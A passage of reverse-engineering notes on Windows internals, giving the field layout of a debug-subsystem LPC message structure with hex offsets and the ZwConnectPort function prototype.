    USHORT MessageSize;         //02
    USHORT MessageType;         //04
    USHORT VirtualRangesOffset; //06
    DWORD  CallerPid;           //08
    DWORD  CallerTid;           //0C
    ULONG  MessageId;           //10
    ULONG  SectionSize;         //14
    DWORD  dwSsDebugEventCode;  //18
    DWORD  Status;              //1C
    DWORD  DebuggeePID;         //20
    DWORD  DebuggeeTID;         //24
    PVOID  pDbgSsKmMsg;         //28  //size ~ 0x78
    DWORD  DebuggerPID;         //2C
    DWORD  DebuggerTID;         //30
    DWORD  Unknown34;           //34
    DWORD  hFile;               //38
    LPVOID lpBaseOfImage;       //3C
    DWORD  dwDebugInfoFileOffset;//40
    DWORD  nDebugInfoSize;      //44
    LPVOID lpThreadLocalBase;   //48
    LPTHREAD_START_ROUTINE lpStartAddress; //4C
    LPVOID lpImageName;         //50
    WORD   fUnicode;            //54
    WORD   ImageName[(MAX_DBG_SS_CP_LPC_MESSAGE_SIZE - 0x56)/sizeof(WORD)]; //56 pro forma
    }
    MAX_DBG_SS_CP_LPC_MESSAGE_SIZE = 80h


NTSYSAPI NTSTATUS NTAPI ZwConnectPort (
 OUT PHANDLE ClientPortHandle,
IN PUNICODE_STRING ServerPortName,
 IN PSECURITY_QUALITY_OF_SERVICE SecurityQos,
 IN OUT PLPC_THIS_SIDE_MEMORY ClientSharedMemory OPTIONAL,
 IN OUT PLPC_OTHER_SIDE_MEMORY ServerSharedMemory OPTIONAL,
```

```
 OUT PULONG MaximumMessageLength OPTIONAL,
IN OUT PVOID ConnectionInfo OPTIONAL,
IN OUT PULONG ConnectionInfoLength OPTIONAL
);
```